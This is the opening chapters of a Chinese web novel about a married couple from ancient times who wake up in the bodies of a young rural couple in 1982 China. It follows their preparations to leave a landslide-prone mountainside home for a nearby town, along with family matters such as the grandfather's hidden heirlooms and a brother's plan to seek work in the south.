《古代小夫妻的八零日常》
1. 魂穿
1982年初夏，雨季即将来临。
村里的大喇叭转播完新闻，广播员又念了几篇稿子后，并没有如往常一样“呲啦”几声就结束了。
“喂喂——”
“都听得见不？”
大队长那大嗓门稍微有一点点延迟的传了出来。
白春枝在家整理衣裳，即便是关着窗也听得清清楚楚，就这一句，还是带了乡音的普通话咧，她现在基本上能听懂了。
广播站那头，似乎听见了回声，大队长咳嗽了两下清了清嗓子，开始进入正题——
提醒大家防洪的。
着重强调了下山洪的危害，要大伙儿一定要提前做好准备。
这有了天气预报的好处就体现出来了，报纸、广播都在讲的，说是比老农民凭经验看天还准。
他们这地方靠山靠河，夏季到了雨水多，可不得注意了，还有些老屋该维护的要尽早维护，别真等着出事了才是说啥都晚了。
听大队长反复说到的这两点，白春枝放下手上正在打包的东西，起身去推开窗，又朝门口望了望，见这个点儿了自家男人还没回来，怕是又被什么事耽搁了，默默叹了口气。
这靠山的老屋，其实是在点她家了。
整个南河村，也就还剩自家在这山脚的危险地带稳稳“扎根”，别的邻里自前两年出事后，陆陆续续的全搬下去了，什么都没命重要。
想起当年出的那事儿，白春枝不由摸了摸胸口，感受着有力的心跳，再次双手合十，默念了几句“菩萨保佑”。
白春枝没念叨两句，自家院门被推开了，她赶紧迎了出去。
“夫君，这趟可顺利？”
“嗯，都给卖了了。”
萧远山一手接过白春枝递来的毛巾擦汗，另一手从兜里摸出来一把纸钱递给她。
白春枝将零散钱一一捋顺，对照上面的繁字认了认，数完又和萧远山对了下，确定是对的，这才翻开一个小本儿一笔一画的记录下来。
她写的也是繁字，笔画是多了些，但一条条的记下来，白春枝还挺有成就感的，只是她依旧不大习惯那弯弯扭扭的蚯蚓字。
等要算这段时间总收入了，就得萧远山来，他简字和阿什么伯数字都用得很好了。
说来，她和夫君都不是这个地方的人，甚至不是这个时代的人，也不对，他们的身体还是。
按白春枝的理解，他们夫妻俩应该是属于死后，借尸还魂了。
闭眼前，两人正从镇上赶车回来，不料遇上地动，白春枝现在回想起来仍是止不住的后怕，那一刻，仿佛天地都在颤抖，随之而来的是山石滚落，瞬间将他们掩埋。
再睁眼，是她躺在一张床上、盖着雪白的被子，顶头发光的夜明珠，让白春枝误以为自己是到了地府。
没等她多想什么，一阵剧烈的头痛过后，白春枝脑子里便多了一段不属于自己的记忆。
这也是一个名叫春枝的村里姑娘，跟她一样，十六岁嫁给了青梅竹马的远山哥哥。
只是，此地的一些风俗似乎和他们那儿略有不同，这姑娘家里其实并不宽裕，可她却上过两年学堂是识字的，不过也因为穷，没读两年便辍学在家照顾弟弟妹妹。
但这就足够让白春枝惊讶了。
她会认几个常用字还是成亲后夫君教的，萧远山平日打猎去镇上卖，素有记账的习惯，白春枝才跟着学了点儿。
当然，这就是一个陌生姑娘的生平，白春枝能平缓下来接受自己死而复生在别人身上已经很不容易了，短时间内根本来不及消化完再去想别的。
再一个，姑娘家的见识到底是有限的，除了很明显的识字和白春枝会的不大相同，她的记忆里，整日不是在家中，就是田间山里转悠。
所以，等白春枝再次坐上“新的”牛车回家，也没觉得哪里不对劲。
萧远山却不一样，接收完原主记忆，他稍微联想了一番就理清了关键，知道他们这是变换了时空，来到了千年百年之后。
而原身夫妻同样是外出时突遭遇意外，想来怕也是凶多吉少，只是不知道，他们是否有去到自己的时代。
如此玄而又玄的奇妙际遇，因是夫妻俩都在，不论是白春枝还是萧远山都算接受良好。
不管怎么说，眼下还活着就好。
萧远山先捡了重要的事和小娘子通通气，让白春枝有个心里准备，别再被吓到了。
萧家没什么大变化，家里只有萧老爷子在。
这位老爷子和萧远山爷爷一样，是位老猎户，听说以前是逃难过来的，孤苦伶仃的就爱往山上跑，原身则是他打猎时捡回来的弃婴。
从前整个村子都穷，老爷子是住山里还是山脚、是一个人还是两个人的，基本上没人管。
一年到头，只有冬天要打野猪了，大伙儿才会找上门来，求萧老爷子带队进山，平日算是“互不打扰”。
好在，萧家虽然人少困在地里一年到头也没什么产出，但老爷子的打猎手艺还在，加上一把藏得严实的老猎枪，总归是顺顺利利的把萧远山拉扯大了。
如今已经七十多的萧老爷子，有些耳背，平日和孙媳妇交流不多，倒是不用白春枝多担心什么，和原来一样就行。
白家那边，人倒是不少，除了白家父母，白春枝上头有两个已成亲的哥哥，下头有在读书的弟弟妹妹，再加上下一代的奶娃娃，一大家子不分家，屋子都不大够住。
白春枝记忆里，这里的姑娘十五六岁订婚的多，可马上就结婚的反而少，一般是女方家里的意思，会把姑娘多留两年好再照顾下娘家。
像原身那样早早的嫁去萧家，不仅是因为两家都知根知底，还有房子的原因了，一处小院子只住爷孙俩，怎么都比白家宽敞。
两人这番“死里逃生”平安回来，大家都默契的先瞒着老爷子，怕他知道了着急上火。
白春枝跟原主的性子差不多，应付好了闻讯赶来的娘家人和邻里，都没人发现这对小夫妻已经换了芯子。
就这样，夫妻俩在另一个时空，也一样，只管关起门来过自己的小日子。
如今来这儿快两年了，白春枝适应的还不错，哪怕他们仍在山脚下住着没什么邻里，每日的新鲜事也不少，就像这大喇叭，一天都不落的。
先前转播的新闻里经常提到的新词，什么“改革开放”、“经济特区”等等，白春枝不太懂，听上山挖笋的大娘们讲，
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应该是跟城里有关，这两年大队上的知青陆陆续续都回城了，总归和他们小村子没多大关系。
但今天这个暴雨、山洪、泥石流，就跟自家有关了。
这也是家里近来不太平的原因。
两年前使得他们夫妻来到这里的意外就是连续降雨引发的山体滑坡。
当时牛车上还有好几个人，一车人是直接从半道上掉了下去，所幸救援比较及时，没有人员伤“亡”，除了白春枝他们这点不可与人言的变化，明面上确实没有。
但这场事故却不小，是塌了一段路的，也算是给大家拉响了警钟，大队上立即重视了起来。
不说干部们要打算怎么做了，就是山脚下的村民自己都怕了。
这些邻里大多和萧老爷子一样是外来户，以前是没条件，有口饭吃、有地方住，就满足了，可不管位置偏不偏僻，眼下，大队有心要解决，于是纷纷重新申请了宅基地。
经过这一两年的变化，哪怕另一处只搭了土屋作为过度的，大伙儿也都搬得差不多了，就剩下萧家小院没一点要走的意思。
主要是萧老爷子比较固执，他在这山脚下住了大半辈子了也没出什么事，临了了可不想再折腾，他连自己要埋哪块山头都选好了。
白春枝和萧远山刚来不太懂政策上的事，不过既然是接手原身夫妻的生活，萧老爷子他们肯定会养老送终的，一切听老爷子的安排。
就这么一年又一年的，瞧着周围的邻居一家一家的全搬完了，白春枝也慢慢回味过来，老爷子是在耍无赖，实行拖字诀啊！
萧老爷子早年间是挺厉害的，黑瞎子手下都能捡回一条命，只从那会儿，左耳就不太行了，可他常年进山打猎的身体，绝对是比一般同龄人是要好。
七十古来稀，在这个时代，只要能熬过灾荒年的，那就不是个事儿，村里的长寿老人可不少。
白春枝起初以为，是不是家里没钱了，毕竟老爷子刚给孙子娶了媳妇，没多少积蓄的话，搬下去可能住得还不如老院子舒服。
萧远山去打听了下发现，老爷子这些年偷摸攒下的钱，完全是够起两间很好的房子了，还是红砖的那种，不是钱的问题。
夫妻俩奇怪了好久，后面才闹明白，原来，老爷子是舍不得他那把老猎枪了，先前是交过一次枪的，新社会嘛，不需要这些了，萧老爷子是兼着护林的任务，公社给他特批的。
这要是搬了，那怎么行？
白春枝和萧远山看老爷子一天擦三遍，其实家里已经没火药了，大概就能起到一个震慑作用，也只好由着他了。
不过，今年开春，萧远山随村里人出去过几趟后，就决定他们要在雨季来临前要搬走。
老爷子知道孙子的决定后，气的要命，只是看这两天孙媳妇已经在收拾打包了，也清楚搬家的事没什么回旋的余地了，除非他不跟他们一起住。
但想想，他再是不舍那把老猎枪，也更爱孙子些。
何况，萧老爷子觉得他这把老骨头还挺硬朗的，他可就等着曾孙出生，哪会愿意跟萧远山小两口分开了。
不得不说，萧远山融合了原主的记忆，加上这些日子的相处，把老爷子的性子摸得透透的。
2. 收拾
不过，该骂的还是得骂。
萧老爷子反对这么着急搬走，还有一个原因，是气萧远山做事没章程。
说他既然老早就想搬了，怎么不先把房子建好，家里又不是没钱，现在想一出是一出的马上要走，他们家可没有能借住的亲戚。
“小兔崽子！”
“还回来干嘛？”
“你不是翅膀硬了吗，老子的破房子你是看不起不愿意住了啊！”
“……”
在山里溜达一圈回来老爷子，见萧远山这个点儿在家了，又开始吹胡子瞪眼的骂了起来。
白春枝看着怒目圆睁的老爷子，因为耳朵不好、讲话声音特别大，越说越气，肉眼可见的速度立马变得脸红脖子粗了，她都担心萧老爷子这样生气会不会气得犯病。
没等白春枝去给老爷子倒一杯水，萧远山已经把一瓶白药丸拿了出来。
这是萧远山去县上医院给老爷子开的，镇上的诊所还没有了，说是治什么高血压的，也是他们运气好了，前段时间赶集正巧碰见上市里的医生组织的那啥调查研究给查出来的。
但这事儿萧老爷子可不承认，他的身体简直不要太好，跟孙子两人担那么老些东西一路走到镇上，他都不带喘大气的，说他有病，谁信啊。
“拿走拿走，我不吃。”
看着小夫妻一个取药一个倒水的，老爷子也不忙着骂人了，连连摆手，没病吃什么药。
“我好着呢！”
“是，您老壮得跟大小伙儿差不多。”萧远山点点头，哄着老爷子，手上的动作却没停，“您再保持保持，还等着您帮我们带孩子。”
“……”正要继续拒绝的萧老爷子，听到孙子这话，抬手的动作一顿，“哼”了一声，顺势坐了下来，接过孙媳妇的水，没一点儿犹豫的把两粒药吞了。
见老爷子没再犟，乖乖把药吃了，萧远山说起了他这趟出去的事。
“房子已经找好了，就在镇上，也是一处小院子。”
“干啥非要去镇上啊？”
老爷子听孙子说完安排，知道他心里有谱，那搬家的事差不多就这么定了，不过嘴上还是有些不满念叨道。
“你们小年轻还是不知深浅，这镇上住着，看着光鲜，可光是柴米油盐买菜买米就没有不花钱的，我那点棺材本哟，经不住你们随便耗呐！”
出门样样难，夫妻俩怎么会不清楚，之前也不是没考虑过要不要借住一下白家，可显然不现实。
先前白家兄弟还因为分家的事打了一架，白母跑找白春枝想想法子，可她能有什么好主意，没钱没房孩子一个个的生，分出去了也难过。
萧远山会想到去镇上，除了这两年时常去换东西都跑熟了，也是受近来政策变化的启发。
一来，村里不少胆子大的年轻人对南下务工蠢蠢欲动，听说跑出去的个个都能挣大钱，就是苦于没人带路，这年头很多人都没出过远门的。
二来，已经有在传他们这边也要准备分田了，农民自己有田地肯定是好事，那广播之前还讲过有个小村子老早就实行了，确实是增收了，不过萧家总归三个人，能分那也没多少，多了又种不完。
所以，切实点儿，萧远山还是准备干他们俩爷孙的老本行，地点折中选在镇上，两边都离得近，在村里也不算多突兀。
白春枝这边自然是没什么意见，她向来是听夫君的，单纯不希望家里吵吵闹闹的都不愉快。
萧老爷子见萧远山说完就不吱声了，转头看白春枝又一副小媳妇样，最后的期望也没了，忍不住重重的叹息一声，摇摇头起身回屋躺会儿。
这小媳妇太乖了也不行，根本拿捏不住男人。
小夫妻俩不知道老爷子还有如此超前的思维了，偷偷对视了一眼，明白搬家这事就算是谈妥了。
具体要哪天搬了，倒不用看日子，只等萧远山把大件准备好了，再回来用牛车拖其他东西。
距离晚饭还早，白春枝抬头看了下天，又去整理一下家里的干货。
这些都白春枝上山采的菌子，原本她是准备晒来自家吃的，没想到萧远山和老爷子去镇上卖山货时，竟然有人主动问了。
价格肯定比不上肉类，但这就是无本买卖，一场雨后，特别是夏秋两季，山里简直不要太多，只要人够勤快，还是能挣不少的。
萧远山见小娘子忙活了起来，也不闲着，腾了几个麻袋把一些该收的物件装起来。
老爷子是好些东西都舍不得扔，白春枝又是看什么都有用的性子，萧远山边收拾边庆幸，还好他在镇上找的房子带了院子。
待日头偏西，白春枝将分好的菌子交给萧远山，让他装好，她先去灶房做饭。
萧家这两日是吃的格外得好，因为萧远山把家里养的几只鸡都给宰了，以示他搬家的决心。
实际上，心疼只有白春枝，她养的下蛋老母鸡啊，真是一只没留的，现在已经好几天没鸡蛋收了。
老爷子却跟老顽童似的，还跟孙子赌上气了，连着几天都上山打了野鸡回来。
白春枝对这爷孙俩的幼稚行为，真是哭笑不得，做点风吹腊鸡是来不及了，她留了两只和一些漂亮的鸡毛，剩下的全让萧远山拿去卖了。
今天是野生菌炖鸡，因为野鸡吃起来比较柴，还是得拿来炖，也幸好老爷子收手了，不然，再是吃肉，白春枝都要摇头了，知道萧远山中午赶不回来，她上午都没弄。
白春枝先将砂锅洗干净，才去取一直放在井里的鸡。
“阿远，快来剁鸡！”
“马上来。”
萧远山拿了些好柴进来，不赶紧烧了，牛车也拉不完。
白春枝将萧远山剁好的鸡块用清水洗了两遍，再用淘米水泡上，这才转身去做饭，老爷子牙口不错，不过还是喜欢米饭软一点，家里也习惯了吃沥米饭，口感好。
想到这儿，白春枝就问起了萧远山镇上的情况。
别看萧家人不多，老爷子建房的时候可是考虑得很长远了，连灶台都是两个锅，一个做饭、一个炒菜就很快。
白春枝还见过村里有的养猪的人家，那是直接打了三个灶，一口大大的锅用来煮猪食，想来镇上应该没这么宽敞。
“镇上有用蜂窝煤的，就是大一点的炉子里烧煤，平时热一壶水比较方便，那种煤球还挺经烧的。”
能称得上镇的，自然是人口比较集中的地方，可这人一多了地就少了，自然是不能跟村里比，但好的地方也很明显，萧远山说了点儿不同，担心白春枝不
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能适应，又继续道。
“我们赁的是个老房子，也有灶台，到时候我再拉点柴就行。”
白春枝听完点点头，她还在想那什么蜂窝煤了，以为跟她平日在瓦罐里闭的炭差不多，估计不难，好好学学就行。
不过最好是能烧柴火了，家里的甑子那些到时候一起带去。
小夫妻一边说着灶房里的事，一边又理出不少东西。
搬家可不就是这样，特别的零碎繁琐，要不到了镇上才发现什么都缺，那最后不得都要用钱买么，老爷子担心的也不无道理。
萧远山看白春枝盘算了一遍又一遍，可好些东西随时要用到不好直接装袋，想了想还是准备跟她透了个气。
“阿枝，有些日常要用到的，不必都带去，我们到镇上再添置。”
“全重新买呀？”
白春枝放下一个新的筲箕，有些惊讶的转头，盯着萧远山看了好一会儿，不知他什么时候添了这么一个大手大脚的毛病了。
“不是的。”
萧远山见白春枝误会了，立即摇了摇头，又怕她太大声把老爷子引过来了，叹了口气，细细的解释了起来。
当然，这还只是一个不太全备的想法。
在萧远山的计划里，搬走并不是意味着完全舍弃这里。
在了解了住山脚下的隐患，自然是不能不顾家人的安危。
可这个问题解决之后，他们一家还得吃饭了，那这座大山、这处院子就还有大用处。
白春枝自小也是在山里长大，听萧远山这么说，再联想到他近来比较频繁的去镇上卖山货，似乎跟开放有关，如今市面上需求量越来越大，好些外来商人都慢慢摸索了过来，一下子就懂了。
这是把萧家小院留作落脚点呢！
一想到这漂亮的院子还有用，不会拆掉，白春枝心情都要好些了。
晚间饭桌上，白春枝就忍不住把这个好消息告诉了老爷子，让他放心他那些花花草草了，肯定留的好好的。
萧远山舀汤的手一顿，有些无奈的看着自家小娘子，真是为了老爷子开心一下，完全忘了自己的话，都还是没影的事了。
老爷子听了孙媳妇的话，大声的询问了下，确定自己没听错了才开始乐呵，转过去看了眼孙子，又冷哼了一声，算他还靠谱，没忘本。
夜里，白春枝点着灯煤油灯去熏蚊子，山脚下就是这样，蚊虫多。
洗漱完，白春枝还没放弃她的灭杀行动，在蚊帐中仔细寻着每一只藏匿起来的蚊子，不然晚上别想睡好了。
萧远山冲凉回来就见帐子里影影绰绰，小娘子正不停的挥舞拍打了，也不知道有没有打中。
扇打了好一会儿，白春枝没再听到恼人的嗡嗡声了也就停手了，抬头见夫君竟还站着喂蚊子，叫他赶紧进来。
萧远山快速擦了两下头，放了帕子，这才吹灯上床。
白春枝本来正全神贯注的防备着蚊帐打开的一瞬会有蚊子进来，只是她刚抬手就碰到了萧远山的刺猬头，不知怎么的“噗嗤”一下笑了出来。
“笑什么？”
“你啊……”
趁透过窗的月光尚看不清人的脸，白春枝也胆大了些，甩了扇子，俯身过去揉了揉萧远山的寸头。
3. 娘家
说来，两人和原身长得一模一样了，只一个寸头、一个麻花辫的却别。
这也为什么夫妻俩能适应得比较快了。
要不，借尸还魂如此离奇的事情发生在自己身上，每天对着一张陌生的脸，想想都有点儿吓人。
再经过这两年的调养，不论是白春枝还是萧远山，就连萧老爷子都要比原来胖点儿了。
夫妻俩是觉得，他们来到这里，虽然仍是在山脚下住着，但日子确实要好很多，不用担心是否会有战乱，村里相互扶持，干部们还想方设法给大家创收，再没有比这里更好的地方了吧？
萧老爷子则是一切的亲历者，自然深有体会，新社会的生活是越过越好、越过越红火。
于是，也开始催生了。
白春枝原本是比老爷子还思想传统的，在他们那儿，十五六岁就当娘亲的是再正常不过了，也是来到这里才知道，太早生孩子不好。
回来的第一晚，萧远山便同白春枝讲明了缘由。
两人都算是死过一次了，所以格外的惜命，养好身子要紧，哪怕是听说这里的大夫各个堪比再世华佗，脑袋、肚子划一刀也能缝好救活过来的，他们还是不敢赌。
夫妻俩达成共识后，床中间就一直多放了一个枕头，还是前些日子白春枝的十八岁生辰，这才收了起来。
第二天天不见亮，萧远山带了些干粮又驾着牛车去了镇上。
白春枝也早早的起来了，现在家里没得鸡蛋捡，还是想给老爷子补补身体，于是她将昨晚还剩一点鸡肉弄成鸡丝熬了粥。
吃过早饭，和老爷子说了一声自己要回娘家一趟，白春枝垮了个篮子去了白家。
之前什么都还没确定好，白春枝也就没跟娘家人说他们要搬到镇上去，后面可能随时要搬的，她得趁有时间先告知一声，免得白母是最后知道的，怕是得骂死她。
白家离得不是很远，就在村尾，同样是偏了点，但也是比较幸运，那片刚好不属于山脚下，没什么危险都不用搬的。
“春芽，在家吗？”
“在。”白春芽听到姐姐白春枝的声音忙从灶房跑了出来，“姐，你来啦！”
院门其实没关，只是掩了下，白春枝轻轻一推就开了，一句话的功夫，还系着围腰的白春芽已经到门口来了，可见白家的院子确实不大。
“妈出去了没？”
这几天正是插秧的时候，大队上肯定忙活，不过白母也可能在家帮忙带孩子，白春枝不太确定的问道。
“出去了，早上四五点就起了。”白春芽点点头，一边说着一边手脚麻利的装好稀饭和几个顶饱的杂粮馒头，“我这会儿就要把早饭给爸妈他们送到地里呢！”
“那我帮你。”
白春枝看妹妹还泡了一壶水，刚好她带了篮子一趟装了，早上这会儿还不太热，比较好分苗，她估计白母他们要忙到中午才会来，于是又问白春芽。
“你等下还忙么，要不我们一起去挖野菜？”
“好啊，我正打算送了饭就上山，金银花开了的话，还得摘点回来，给老妈降降火。”
白春芽挺高兴和姐姐一起的，有个伴儿，说完又连忙出去朝隔壁房喊了一声。
“今天是二嫂在家看孩子，大毛二毛他们也还在睡，我在锅里留了吃的，一上午都不用管了。”
一阵风似的跑回来，白春芽笑着跟姐姐解释了下，不让她看小孩儿就跟放假一样。
白春枝瞧白春芽还有些小孩儿心性，忍不住摇摇头，她估计白母这段时间忙过了也要准备给她相看了。
十六岁的白春芽因为上学晚，加上白春枝那阵也和萧远山订婚了，白家的负担不算太重，也让她读完了五年制的小学。
能上完小学的女孩子，在村里已经比较难得了，白春枝觉得妹妹在婚事上，可以再仔细挑挑，不用那么早就定下来。
这么想着，白春枝也在路上跟妹妹说了起来。
没想到白春芽自己还挺有想法的，她摇了摇头，转而说起了另一件事。
“二哥要出去打工了。”
“去哪儿啊？”
打工这个词，白春枝是知道什么意思的。
像自家夫君每回卖完山货没急着回来，就是想看有没有人要他拉货的，现在虽然镇上二八自行车比较常见，但并不是家家户户都有，何况是大包小包的货物，牛车带拉板才方便，萧远山跑几趟也能挣一些零钱。
这叫打零工，很零碎的活儿，没个固定时间，钱也少，但聊胜于无。
出去打工的话，可能就要完全脱离家里的农活了，怪不得听白春芽说白母这两天有点上火了，原来是这事儿闹的。
白春枝在想是不是和近来南下务工热有关。
果然，白春芽说了两个字：“南方。”
听广播，白春枝只知道南方离他们这个地方很远，坐火车的话都要好几天，那这一出去，怕是一年到头都回不来两次。
“家里怎么说？”
白春枝问的，不仅是白父白母的意见了，还有二嫂和孩子怎么办。
刚她们出门前和二嫂打招呼的时候，小毛都还在闹腾，那么点儿大的孩子，而且，跑那么远，夫妻俩总不能长期两地分居吧？
“二哥打算今年下半年就去，过年也能带些钱回来，要是情况好的话，明年二嫂会跟着一起去。”
白春芽说得很平静，这差不多眼下最好的破局方式了，家里实在是住不下了，天天吵架，又没钱修房子，不然能怎么办呢……
“小毛就爸妈帮忙带。”
这句听起来没什么毛病，但白春枝了解妹妹，白春芽性子是急了些，走路都风风火火的，两姐妹基本上是反着来，可她不是眼里没有活的姑娘，既然孩子留家里，说是给爸妈带，她也不可能不帮忙。
没等白春枝问，白春芽就转过来跟姐姐说。
“明年我也要去南方打工！”
白春枝看着白春芽坚定的眼神，从来不知道她的妹妹竟然有这么大的志向。
一时间，白春枝觉得自己好像做任何反应都不对，反对吗，可是又有什么好反对的呢，支持的话，她得回家问问萧远山，帮妹妹取点经了。
“好啦，别
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担心，到时候我肯定跟二哥他们一起的。”
白春芽见姐姐愣在原地，还以为白春枝被自己的话给吓到了，不过这个想法，她确实还没跟家里透露。
“行，我回去就问问你姐夫，他经常在外面跑的，见过不少外省人，多了解些，总没坏处。”
见白春芽挺有成算的，白春枝点点头，也不说什么大话，到时候问好了再跟妹妹讲。
这几天没怎么下雨，也没什么新冒出来的菌子，姐妹俩准备先挖野菜。
清明前有很多新鲜的猪屁股，这东西也叫鱼腥草，吃不惯的人闻着味儿都想吐，但爱吃的人就很喜欢，和莴笋丝丝一起凉拌，别提多爽口了，现在怕是比较老了，白春枝想了想还是挖了些根，用来炖肉。
山里的温度到底是要低两度，白春芽看金银花也没怎么开，转头又挖了些婆婆丁和苦菊，都是清热解毒的，可以拿来泡水。
收获满满的两姐妹，趁着午饭前一起回了白家，秧田里忙活了一上午的人，这个时候也刚到家。
白家的事，并不是白春枝能左右的，她没有多问，只说了自家准备搬到镇上去。
萧家在山脚得搬下来的事，村里人都知道，只听白春枝说一家子要去镇上住，多少还是有些惊讶。
几人中，白母算是接受比较快的。
她一直觉得，萧家虽然人少却是有些家底的，想那牛车不是谁都能拿下了，而她大女婿也是个有本事的，没想到这么快就显出来了。
白母立即多问了白春枝两句，得知他们还会经常回来很是满意。
但她眼神触及二儿子的那一瞬，白母脸色又变了，就跟川剧变脸似的，上一秒还在感叹白春枝家，下一秒她已经起身指着二儿子骂了。
“你看你大妹他们这样子不挺好的吗？真要打工，就在镇上得了，跑那么远做什么？一天天正事不干，东跑西跑的，我看你是心都野了，要上天了！”
白春枝没想到她只说自家的事儿，还能让白母找到理由骂她二哥一顿。
其实在白春枝看来，她二哥出去打工也挺好的，家里人多，孩子一天天长大，家里这几间青瓦房根本不够住，再起房子是必然的。
现在的问题就是家里没钱。
可没钱也不能干等着，总得想办法了。
眼下是她二哥站了出来，家里又有她大哥在，就算是这马上要分田了，那也忙的过来。
只是白春枝一向不是多话的人，也不想多参合娘家的事，搞不好还落个搅事儿精的名头，给她二哥一个自求多福的眼神，就跟白母告辞了，她还得回家给老爷子做饭了。
白春枝拎着的篮子，刚出白家院门没进步，没想到她二哥又追了出来。
“诶，大妹，你等等……”
“二哥，还有事？”
“嗯，那个、妹夫今天什么时候回来？”
“……”看她二哥顾左右而言他的样子，白春枝一下子明白了，所以尽管已经决定要出去打工了，怕是心里还是有些没底的。
白春枝让她二哥晚饭的时候来，萧远山肯定回来吃晚饭的。
4. 宝贝
白春枝到家比往常做饭的点儿要晚些，家里没人在。
估计萧远山今天也不会赶中午的时候回来，那就只有她和老爷子在，白春枝打算简单炒盘野菜，刚刚清清肠胃。
正愁要不要再加个汤时，老爷子也踩着饭点儿回来了，还给她带了两个野鸭蛋，正好白春枝看院门口的染浆叶能摘了，打个蛋汤好了。
吃过午饭，白春枝继续收拾要带走的东西。
“春枝呐，你出来一下。”
正在和冬天的大棉被作战的白春枝，忽然听到没午睡的老爷子在喊她，忙放下被子出去。
“怎么了，阿公？”
“快来！”见白春枝出来了，老爷子忙招手让她到八仙桌这边，“来，这个你收着。”
白春枝走近了才看到老爷子手上还多了个小巧的盒子。
“什么呀？”
黑色的木盒看着就有些年头了，白春枝怕里头的东西太贵重，有点不敢收。
“拿着！”
见白春枝愣着不动，老爷子语气不免有重了，他可不喜欢搞些假模假样的面子戏，既然拿出来了，就说明他是真心想给的。
“……”
看突然被塞到手里的盒子，白春枝不自觉掂量了一下，还不轻了，再抬头对上老爷子不容拒绝的眼神，她想说的话又被噎回去了。
不过她也有些好奇，这里面都是些什么？
老爷子没卖关子，看孙媳妇收下了，示意白春枝打开看看，然后慢慢讲起了这些东西的来历。
原来，这些可都老爷子大半辈子攒下的宝贝了。
老爷子当年虽是一路要着饭过来的，但他能够活命的本事就从来没丢掉过。
在这座山的护佑下，不说多如鱼得水，荒年田地里什么都没有，大伙儿没办法一个个的都往山上逃，挖树根啃树皮，老爷子那时可是带大家朝深山走的领头羊。
何况，还有后面那十年。
老爷子从来就不是个循规蹈矩的人。
“你看看，应该是值些钱的。”
人在快要饿死的时候，这些身外之物就显得没那么重要了。
老爷子能跑山里打猎物，那也是刀尖上舔血的活儿，自然是不能白送了，他也没细看，通常是别人给什么他拿什么。
这么些年，慢慢也攒了不老少了。
一开始大家都是为了活命，老爷子总不能看着人在他面前饿死，后面则是为了给萧远山娶媳妇，没想到，那小子也没用上，这不就留给他曾孙了么！
老爷子不太懂这些，估摸着一盒子的老物件，就算是破铜烂铁也该值几个钱吧？
白春枝却是能认得几分的，老话说盛世古董乱世黄金，木盒里的耳环戒指是金的银的都有，还有就是玉扳指、平安扣什么的，真真假假的混在一起。
“……”
白春枝粗粗看了一下，哪怕这里有一半是假的，那还有另一半了。
真是了不得了，老爷子手上居然还有这么些好东西，不怪她听白母念叨过，猜萧家肯定是有些家底的。
原来都在这儿了。
“阿公，这——”
深吸了一口气，白春枝还是不敢做主先收了，将木盒推给老爷子，让他等萧远山回来再说。
“嘿，你这孩子！”
见盒子转眼又回到了自己手上，老爷子立马要吹胡子瞪眼了，没想到他这宝贝还有送不出去的时候。
“给你，你就拿着，哪儿那么多想法，臭小子回来了你也不用跟他讲。”
瞧着白春枝低眉顺眼的小媳妇样，老爷子也缓了缓语气。
“别怕，现在日子宽松了，没人查这些东西，拿出来也没事儿。”
主要老爷子还是担心他们要搬到镇上以后，虽说他相信自家孙子的能力，总不会让一家子饿死，但多些钱财傍身，人都要有底气些，腰杆也能挺得直点儿。
道理白春枝都懂的，可她听完后，还是连连摇头。
“诶，我这东西还烫手不成？”老爷子一看跟孙媳妇说不通，又有些急了，“家里的这些，以后还不都是你们的？”
老爷子昨晚上没说，今天单独拿给孙媳妇，不是没想起来，他考虑的是，这个家还是得白春枝来当，过日子嘛，总得精打细算才行，免得一股脑儿的让孙子嚯嚯完了。
“你不要，那也是留给我末儿的，你先保管到。”
“……”瞧老爷子又提了孩子，白春枝不禁有些好笑，但想想还是推了推，“那您先收起来，等孩子出生了，您这个做太公的，再亲手好了。”
白春枝来这儿以后，还没怎么去镇上逛过，顶多是赶赶集市，添置些日用品，市面上金价多少，她也不太清楚，但老爷子一下子拿出满满一盒来，就不可能是小数目。
那她哪儿敢接啊，都不晓得往哪儿藏好。
见孙媳妇这么说了，老爷子也不再勉强白春枝收下了，抱着他的“烫手山芋”回了屋。
萧远山是傍晚才回来的，还拎了两根排骨，白春枝先跟他讲了她二哥一会儿要过来，老爷子那一盒子宝贝，暂时没说。
“家里有事吗？地里忙不来？”
“不是。”白春枝摇摇头，就每家那点自留地，白家那么多人哪儿用得着萧远山去帮忙了，“二哥打算去外面打工，可能心里没底想问问你外面的情况吧？”
“怎么这个点儿想去了？”
外出打工怎么回事，萧远山是有专门了解过的，也是跟近来的政策有关，响应国家号召，南下务工搞经济建设。
但人家有意愿的，大多翻年就去了，这个时候怕是有些晚了，不大好找人结伴一起。
白春枝不太清楚这些，她听说这事还是先前广播有提到，没想到还真有人那么积极了，看来她二哥先来找夫君问问是对的。
萧远山时常往镇上跑的，偶尔还会去趟县上，市里也去过那么一两次，得到的信息总归比他们一直待在村里的人多些。
天才擦黑，白春枝他们刚吃好饭，她二哥二嫂就来了，还带了小毛一起。
收拾完桌子，白春枝想他们夫妻俩都来了，估计为这事儿也挺上火的，倒水时专门给俩人的碗里放了两朵她去年晒的菊花。
“哎哟，小毛毛，你可不能碰呀，烫手手哦！”
菊花黄白的鲜亮颜色一下子吸引了小毛毛，白春枝眼看她二嫂要抱不住企图爬到桌上的孩子，赶紧给接走了。
“哇啊啊——”
远离了花花，小毛毛不满的叫了起来。
白春枝在五斗柜的罐子里取了一颗大白兔，这还是萧远山在县上的百货大楼买的，将小毛毛哄好了，她才跟着坐在边上听他们聊。
白二哥其实也不是剃头挑子一头热了，他打听了不少，连他们隔壁大队的人是去的哪个工地都打听了，还留了个电话。
只是他本人确实没出过远门，火车都没坐过，在哪儿买票也不知道，还有就是怕被骗了。<
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这点确实，没出去过的人，要到一个陌生的地方，总是有各种各样的担忧，也是人之常情。
萧远山点点头，怎么坐车再转车这些都好说，只提醒白二哥要走的话，记得提前去买火车票，剩下的，就是讲讲他在外省商人哪儿听来的各种消息了，至于想不被骗，那就一定要谨记——
“天上不会掉馅饼。”
“还有一个，出门在外不要轻信旁人，这人也包括你的老乡，有的人可能就是专门骗熟人。”
萧远山补充完这句，白春枝看她二嫂脸色又都白了一分，这怕是要打退堂鼓了。
“我就是去打工赚钱，肯定不会乱信其他的。”
白二哥倒是比较坚定的，本来他对打工只有些模糊的概念，听妹夫说完，也没那么茫然了，反而还挺有信心了。
萧远山看白二哥跃跃欲试的样子，笑了笑，这心态也行，最后给了点他自己的经验，出门在外，一定要眼观六路耳听八方，多思考。
“好！我记住了！”
白二哥重重的点了点头，他对这个妹夫一直挺信服的，眼下更是，觉得萧远山不愧是当初敢单枪匹马跑市里买化肥的人。
送走白二哥一家，白春枝跟萧远山在灶房烧水，顺便把老爷子的宝贝说了说。
“……老爷子居然还藏着这么一手。”
萧远山失笑地摇摇头，完全没想到啊。
